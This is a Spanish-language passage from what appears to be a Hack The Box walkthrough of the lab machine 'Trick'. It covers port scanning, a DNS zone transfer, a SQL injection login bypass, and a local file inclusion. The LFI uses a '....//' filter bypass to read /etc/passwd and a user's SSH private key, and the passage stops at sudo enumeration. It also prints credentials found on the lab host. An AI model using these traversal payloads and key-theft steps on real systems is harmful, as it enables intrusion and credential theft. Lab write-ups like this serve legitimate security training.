&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 9e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;96&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a6&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ce&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;02&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;af&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;9a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;78&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;93&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ad&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;73&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;70&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;/tcp open smtp? syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_smtp-commands: Couldn&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;t establish connection on port &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; ISC BIND &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7 (Debian Linux)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dns-nsid&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ bind.version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7-Debian
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx &lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/&lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Coming Soon - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-80"&gt;Enumeración Web (Puerto 80)&lt;/h3&gt;
&lt;p&gt;Al visitar la web principal en el puerto 80, encuentro una página &amp;ldquo;Coming Soon&amp;rdquo; sin funcionalidad aparente. Identifico que corre sobre &lt;strong&gt;Nginx 1.14.2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80da-9483-d666c3dfcfea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración-dns-puerto-53"&gt;Enumeración DNS (Puerto 53)&lt;/h3&gt;
&lt;p&gt;Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; (&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; server found)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Got answer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; QUERY, status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; NOERROR, id&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46316&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; qr aa rd; QUERY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ANSWER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, AUTHORITY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ADDITIONAL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WARNING&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; recursion requested but not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; OPT PSEUDOSECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; EDNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;; udp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; COOKIE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; QUESTION SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ANSWER SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; AUTHORITY SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;95.129&lt;/span&gt;.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ADDITIONAL SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;204&lt;/span&gt; msec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (UDP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;54&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; MSG SIZE rcvd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;164&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el dominio &lt;code&gt;trick.htb&lt;/code&gt; identificado, intento una transferencia de zona (&lt;strong&gt;AXFR&lt;/strong&gt;) para listar todos los subdominios configurados.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;preprod-payroll.trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; CNAME trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt; msec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (TCP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; XFR size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; records (messages &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, bytes &lt;span style="color:#ae81ff"&gt;231&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encuentro un subdominio interesante: &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;. Lo añado a mi &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="sql-injection-en-preprod-payroll"&gt;SQL Injection en Preprod-Payroll&lt;/h3&gt;
&lt;p&gt;Al acceder a &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b5-af30-cf69867e319e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-800c-b199-eb24c7ead9e4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Accedo al panel administrativo de gestión de nóminas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8080-b5a8-dd586092195f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Explorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; Enemigosss&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; SuperGucciRainbowCake&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-808d-8f84-f66b2f2ada93.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante &lt;em&gt;fuzzing&lt;/em&gt; de vhosts.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804e-912a-decb0b655520.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="lfi-en-preprod-marketing"&gt;LFI en Preprod-Marketing&lt;/h3&gt;
&lt;p&gt;El fuzzing revela otro subdominio: &lt;code&gt;preprod-marketing.trick.htb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8099-8cd9-c2bb698aaaa3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al navegar por esta web, observo que las páginas se cargan mediante un parámetro &lt;code&gt;page&lt;/code&gt;:
&lt;code&gt;http://preprod-marketing.trick.htb/index.php?page=services.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Esto es un indicador potencial de &lt;strong&gt;LFI&lt;/strong&gt;. Vamos a explorar…&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804b-a832-f5642c21a818.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pruebo cargas útiles básicas (&lt;code&gt;../../etc/passwd&lt;/code&gt;), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que &lt;code&gt;....//&lt;/code&gt; funciona para saltar directorios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80d0-afbd-c5baa1544b41.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.&lt;/p&gt;
&lt;p&gt;Consigo leer el &lt;code&gt;/etc/passwd&lt;/code&gt; y confirmo la existencia del usuario &lt;code&gt;michael&lt;/code&gt;. Dado que tengo LFI, intento leer su clave privada SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8054-9078-cb1d6e4e712d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Copio la clave (&lt;code&gt;id_rsa&lt;/code&gt;), le doy los permisos adecuados (&lt;code&gt;chmod 600&lt;/code&gt;) y me conecto como &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80eb-b923-e20c8da59aae.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ya estoy dentro. Capturo la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="enumeración-de-sudoers"&gt;Enumeración de Sudoers&lt;/h3&gt;
&lt;p&gt;Reviso los permisos de sudo del usuario &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) gid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) groups=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael),&lt;span style="color:#ae81ff"&gt;1002&lt;/span&gt;(security)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Matching Defaults entries &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; michael on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
